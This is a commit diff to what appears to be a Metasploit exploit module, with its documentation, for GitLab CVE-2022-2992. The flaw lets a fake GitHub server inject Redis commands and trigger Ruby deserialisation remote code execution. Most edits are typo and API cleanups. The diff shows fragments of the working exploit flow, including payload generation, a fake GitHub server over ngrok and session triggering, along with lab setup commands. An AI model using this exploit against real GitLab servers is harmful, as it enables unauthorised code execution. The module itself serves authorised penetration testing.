Use #get_json_document instead of JSON.parse
Also fix typos
This commit is contained in:
parent
cf6d5d3a14
commit
210b7a3254
|
@ -2,17 +2,17 @@
|
|||
|
||||
### Description
|
||||
|
||||
An authenticated user can import a repository from Github into Gitlab.
|
||||
An authenticated user can import a repository from GitHub into GitLab.
|
||||
|
||||
When importing a GitHub repository the Gitlab api client uses `Sawyer` for handling the responses. This takes a JSON hash and converts
|
||||
When importing a GitHub repository the GitLab api client uses `Sawyer` for handling the responses. This takes a JSON hash and converts
|
||||
it into a Ruby class that has methods matching all of the keys. This happens recursively, and allows for any method to be overridden
|
||||
including built-in methods such as `to_s`.
|
||||
|
||||
The redis gem uses `to_s` and `bytesize` to generate the RESP (Redis serialization protocol) command. By replying with a specially
|
||||
crafted JSON object (that will be further parsed as a `Sawyer::Resource`), one controlling the Github server can inject arbitrary
|
||||
crafted JSON object (that will be further parsed as a `Sawyer::Resource`), one controlling the GitHub server can inject arbitrary
|
||||
redis commands to the stream.
|
||||
|
||||
On August 30, 2022, Gitlab released a software update that addressed this vulnerability (CVE-2022-2992).
|
||||
On August 30, 2022, GitLab released a software update that addressed this vulnerability (CVE-2022-2992).
|
||||
|
||||
The following products are affected:
|
||||
|
||||
|
@ -23,15 +23,15 @@ The following products are affected:
|
|||
|
||||
### Exploitation
|
||||
|
||||
This module exploits the Gitlab vulnerability by injecting a Ruby serialized object into the Redis user
|
||||
session object. Once Gitlab calls the Marshal.load when loading the ` _gitlab_session` cookie, it will
|
||||
This module exploits the GitLab vulnerability by injecting a Ruby serialized object into the Redis user
|
||||
session object. Once GitLab calls the Marshal.load when loading the ` _gitlab_session` cookie, it will
|
||||
execute a deserialisation gadget and trigger the payload.
|
||||
|
||||
To achieve that this module:
|
||||
- Will generate an universal Ruby deserialisation gadget payload;
|
||||
- Will create an access token for the user targeted;
|
||||
- Will start a server to emulate the Github and serve the payload to be injected;
|
||||
- Will create a group and also trigger the Github import feature to the repository from the controlled server
|
||||
- Will start a server to emulate GitHub and serve the payload to be injected;
|
||||
- Will create a group and also trigger the GitHub import feature to the repository from the controlled server
|
||||
- Will perform a request using the just injected session ID that when loaded must trigger the payload.
|
||||
|
||||
After the execution the cleanup method will be called and:
|
||||
|
@ -81,7 +81,7 @@ $ TOKEN=`tr -dc A-Za-z0-9 </dev/urandom | head -c 24 ; echo ''`
|
|||
$ docker exec -e TOKEN=$TOKEN -it gitlab gitlab-rails runner "token = User.find_by_username('root').personal_access_tokens.create(scopes: [:sudo, :api], name: 'Automation token'); token.set_token(ENV['TOKEN']); token.save!"
|
||||
$ # Using the personal access token from the root user a user.
|
||||
$ USER=msf
|
||||
$ PASSWORD=SuperStrongestGitlabPassword
|
||||
$ PASSWORD=SuperStrongestGitLabPassword
|
||||
$ curl --request POST --header "PRIVATE-TOKEN: $TOKEN" --data "skip_confirmation=true&email=$USER@gitlab.example&name=$USER&username=$USER&password=$PASSWORD" "http://gitlab.example:880/api/v4/users"
|
||||
```
|
||||
|
||||
|
@ -92,7 +92,7 @@ Follow [Setup](#setup) and [Scenarios](#scenarios).
|
|||
|
||||
### TARGETURI (required)
|
||||
|
||||
The path to the Gitlab (Default: `/`).
|
||||
The path to the GitLab (Default: `/`).
|
||||
|
||||
### USERNAME (required)
|
||||
|
||||
|
@ -104,7 +104,7 @@ The password of the target user to authenticate with.
|
|||
|
||||
### NGROK_URL (required)
|
||||
|
||||
The Ngrok tunnel url to be used. The Gitlab will perform requests to this address when trying to import the repository.
|
||||
The Ngrok tunnel url to be used. The GitLab will perform requests to this address when trying to import the repository.
|
||||
|
||||
Example how start the tunnel:
|
||||
```
|
||||
|
@ -121,7 +121,7 @@ The local port to listen on. This is the port to be used when creating the tunne
|
|||
|
||||
## Scenarios
|
||||
|
||||
### Docker container running Gitlab 15.3.1
|
||||
### Docker container running GitLab 15.3.1
|
||||
|
||||
```
|
||||
msf6 exploit(multi/http/gitlab_github_import_rce_cve_2022_2992) > options
|
||||
|
|
|
@ -23,12 +23,6 @@ module Msf
|
|||
Msf::OptString.new('TARGETURI', [true, 'The base path to the gitlab application', '/'])
|
||||
], Msf::Exploit::Remote::HTTP::Gitlab
|
||||
)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
Msf::OptBool.new('GITLABCHECK', [true, 'Check if the website is a valid Gitlab install', true]),
|
||||
], Msf::Exploit::Remote::HTTP::Gitlab
|
||||
)
|
||||
end
|
||||
|
||||
# class GitLabClientException < StandardError; end
|
||||
|
|
|
@ -25,14 +25,14 @@ module Msf::Exploit::Remote::HTTP::Gitlab::Import
|
|||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
|
||||
|
||||
# 422 is returned if the import failed, but the response body contains the error message
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ImportError, JSON.parse(res.body)['errors'] if res.code == 422
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ImportError, res.get_json_document['errors'] if res.code == 422
|
||||
# 201 is returned if the import was successfully enqueued
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ImportError, 'Import failed' unless res.code == 201
|
||||
|
||||
# Example of a successful reposnse body
|
||||
# Example of a successful response body
|
||||
# {"id":54,"name":"gh-import-761","full_path":"/fpXxUqzfQY/gh-import-761","full_name":"fpXxUqzfQY / gh-import-761"}
|
||||
|
||||
body = JSON.parse(res.body)
|
||||
body = res.get_json_document
|
||||
|
||||
return body if body
|
||||
|
||||
|
|
|
@ -20,12 +20,12 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Gitlab Github Repo Import Deserialization RCE',
|
||||
'Name' => 'GitLab GitHub Repo Import Deserialization RCE',
|
||||
'Description' => %q{
|
||||
An authenticated user can import a repository from Github into Gitlab.
|
||||
An authenticated user can import a repository from GitHub into GitLab.
|
||||
If a user attempts to import a repo from an attacker-controlled server,
|
||||
the server will reply with a Redis serialization protocol object in the nested
|
||||
`default_branch`. Gitlab will cache this object and
|
||||
`default_branch`. GitLab will cache this object and
|
||||
then deserialize it when trying to load a user session, resulting in RCE.
|
||||
},
|
||||
'Author' => [
|
||||
|
@ -106,7 +106,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
version = Rex::Version.new(gitlab_version)
|
||||
|
||||
return CheckCode::Safe("Detected Gitlab version #{version} which is not vulnerable") unless (
|
||||
return CheckCode::Safe("Detected GitLab version #{version} which is not vulnerable") unless (
|
||||
version.between?(Rex::Version.new('11.10'), Rex::Version.new('15.1.6')) ||
|
||||
version.between?(Rex::Version.new('15.2'), Rex::Version.new('15.2.4')) ||
|
||||
version.between?(Rex::Version.new('15.3'), Rex::Version.new('15.3.2'))
|
||||
|
@ -118,7 +118,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
refs: references,
|
||||
info: [version]
|
||||
)
|
||||
return CheckCode::Vulnerable("Detected Gitlab version #{version} which is vulnerable")
|
||||
return CheckCode::Appears("Detected GitLab version #{version} which is vulnerable.")
|
||||
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError
|
||||
return CheckCode::Detected('Could not detect the version because authentication failed.')
|
||||
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e
|
||||
return CheckCode::Unknown("#{e.class} - #{e.message}")
|
||||
end
|
||||
|
@ -151,11 +153,11 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
def execute_command(cmd, _opts = {})
|
||||
vprint_status("Executing command: #{cmd}")
|
||||
# due the AutoCheck mixin and the keep_cookies option the cookie might be already seted
|
||||
# due to the AutoCheck mixin and the keep_cookies option, the cookie might be already set
|
||||
self.cookie = gitlab_sign_in(datastore['USERNAME'], datastore['PASSWORD']) unless cookie
|
||||
vprint_status("Session ID: #{session_id}")
|
||||
vprint_status("Creating group #{group_name}")
|
||||
# We need group id for the clenaup method
|
||||
# We need group id for the cleanup method
|
||||
@group_id = gitlab_create_group(group_name, api_token)['id']
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to create a new group') unless @group_id
|
||||
@redis_payload = redis_payload(cmd)
|
||||
|
@ -206,7 +208,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
@packfile = Msf::Exploit::Git::Packfile.new('2', git_objs)
|
||||
end
|
||||
|
||||
# Handle incoming requests from Gitlab server
|
||||
# Handle incoming requests from GitLab server
|
||||
def on_request_uri(cli, req)
|
||||
super
|
||||
headers = { 'Content-Type' => 'application/json' }
|
||||
|
|
Loading…
Reference in New Issue